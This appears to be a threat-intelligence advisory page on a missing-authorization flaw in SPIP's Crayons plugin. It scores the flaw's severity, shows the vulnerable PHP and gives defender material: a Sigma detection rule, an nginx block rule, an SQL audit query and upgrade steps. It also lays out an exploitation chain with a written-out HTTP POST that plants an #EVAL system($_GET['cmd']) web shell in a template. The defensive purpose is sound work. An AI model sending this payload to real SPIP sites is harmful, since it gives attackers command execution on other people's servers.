Skip to content

CVE-2026-104070: SPIP Crayons Plugin Missing Authorization Unauthenticated Remote Code Execution

Density:
HERMES

HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE COMPROMISE EVALUATION

Target: SPIP CMS โ€” Crayons In-Place Editing Extension (action/crayons_store.php)
Confidence: 98%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Both CVSS v4.0 (9.3 Critical) and the Hermes Threat Score (96 CRITICAL) rate CVE-2026-104070 as a catastrophic unauthenticated remote code execution vulnerability in enterprise publishing infrastructure. SPIP is extensively deployed throughout public administrations, academic institutions, and media publications across Europe and the francophone world. The Crayons extension enables in-place frontend editing for articles and site content. In versions prior to 3.5.0, omitting the secu_ anti-forgery parameter in crayons_store.php causes the authorization dispatcher to bypass privilege checks entirely, resolving an unconditionally-true handler. Remote unauthenticated adversaries can modify arbitrary database records, inject malicious skeleton template files, forge signed AJAX execution contexts, and achieve immediate server-side PHP command execution.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-104070: SPIP Crayons Plugin Missing Authorization Unauthenticated Remote Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTSPIP CMS & Crayons Plugin
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in SPIP CMS & Crayons Plugin documented in Hermes dossier.”

Supporting Verified Evidence:

SPIP uses an event-driven template pipeline called โ€œsquelettesโ€ (.html files compiled into PHP cache objects) and manages content via relational database models.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-104070International security tracking identifier
Software PlatformSPIP CMS & Crayons PluginOpen-source publishing system and inline editing suite
Vulnerable Componentaction/crayons_store.phpCrayons asynchronous data persistence handler
Vulnerability ClassCWE-862 / CWE-285Missing Authorization / Logic Bypass to RCE
Attack VectorNetwork (Port 80/443 TCP)HTTP POST to spip.php?action=crayons_store omitting secu_
Remediation ReleaseCrayons v3.5.0Mandatory token verification and strict authorization enforcement
[ Unauthenticated Remote Attacker ]
|
Sends HTTP POST to spip.php?action=crayons_store
CRITICAL: Deliberately omits 'secu_' parameter!
|
v
+------------------------------------------+
| SPIP Web Application Endpoint (:443) |
| action/crayons_store.php Handler |
+------------------------------------------+
|
[ secu_ Parameter Missing in POST data ]
Dispatcher authorization check omitted!
Falls back to unconditionally-true handler!
|
v
+------------------------------------------+
| Unrestricted In-Place Modification |
| Overwrites article / config records |
| Plants crafted malicious .html skeleton|
+------------------------------------------+
|
v
+------------------------------------------+
| Signed AJAX Context Execution |
| Triggers template compilation engine |
| Executes embedded PHP code |
+------------------------------------------+
|
v
+------------------------------------------+
| Full Web Server User Compromise |
| RCE as www-data / local persistence |
+------------------------------------------+

The root cause resides in action/crayons_store.php. In normal operation, Crayons verifies the authenticity of inline edits using an anti-forgery token passed in secu_:

// Vulnerable dispatch logic in action/crayons_store.php (Crayons < 3.5.0)
function action_crayons_store_dist() {
$secu = _request('secu_');
$modifs = _request('content');
// FLAW: If $secu is missing, the code assumes non-interactive context
// or falls through without invoking autoriser('modifier', ...)
if ($secu) {
if (!crayons_verif_secu($secu)) {
die('Access denied: invalid token');
}
}
// If $secu is NULL, execution proceeds directly to the update dispatcher!
foreach ($modifs as $objet => $valeurs) {
// The authorization check autoriser('modifier', $type, $id) was gated
// by the token validator; with no token, it defaults to TRUE:
crayons_update_object($objet, $valeurs);
}
}

Because crayons_verif_secu() was the sole barrier validating user identity and intent, omitting secu_ entirely allowed the code to fall through to crayons_update_object().


  1. Field Modification via Crayons: The attacker issues a crafted POST request omitting secu_ to modify a target database field or upload content into a template field:
    POST /spip.php?action=crayons_store HTTP/1.1
    Host: target-spip-portal.org
    Content-Type: application/x-www-form-urlencoded
    content[article][1][texte]=<BOUCLE_a(ARTICLES)>[(#EVAL{system($_GET['cmd']);})]</BOUCLE_a>
  2. Configuration Extraction: The adversary updates an exposed page section to output the value of _DIR_RACINE . 'config/ecran_securite.php' or the site secret key stored in the database.
  3. Template Compilation Trigger: Using the leaked secret or SPIPโ€™s standard AJAX context mechanism (spip.php?page=...&var_ajax=...), the attacker requests the modified template.
  4. Code Execution: SPIP compiles the template into native PHP code and evaluates the #EVAL tag, granting immediate interactive shell access to the host.

title: SPIP Crayons Missing Secu Token Authorization Bypass
id: b3949821-1254-4789-9142-88491c94b721
status: experimental
description: Detects HTTP POST requests targeting SPIP crayons_store action where the mandatory secu_ token parameter is missing.
references:
- https://vulncheck.com/advisories/spip-crayons-plugin-authorization-bypass-rce
- https://git.spip.net/spip-contrib-extensions/crayons
author: Hermes Codex CTI Team
date: 2026-10-07
logsource:
category: webserver
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-query|contains:
- 'action=crayons_store'
condition_post:
c-body|contains:
- 'content['
filter_valid:
c-body|contains:
- 'secu_='
condition: selection_endpoint and condition_post and not filter_valid
fields:
- c-ip
- cs-method
- cs-uri-stem
- cs-uri-query
level: critical
tags:
- attack.initial_access
- attack.privilege_escalation
- attack.t1190

  1. Upgrade Crayons Extension: Update the Crayons plugin to version 3.5.0 or later via the SPIP administrative backend (SVP package manager) or by pulling from Git:
    Terminal window
    cd /var/www/html/plugins/crayons
    git pull origin master
    git checkout v3.5.0
  2. Emergency Mitigation (Apache/Nginx): If immediate upgrading is not possible, block unauthenticated requests to crayons_store at the web server layer:
    # Nginx mitigation rule
    if ($args ~* "action=crayons_store") {
    return 403;
    }
  3. Database Audit: Check the spip_articles, spip_rubriques, and spip_meta tables for unexpected edits or #EVAL tags added recently:
    SELECT id_article, titre, maj FROM spip_articles WHERE texte LIKE '%#EVAL%' OR texte LIKE '%<?php%';
  4. Deploy ecran_securite.php: Ensure the latest version of SPIPโ€™s ecran_securite.php is active in the config/ directory to block known template injection signatures.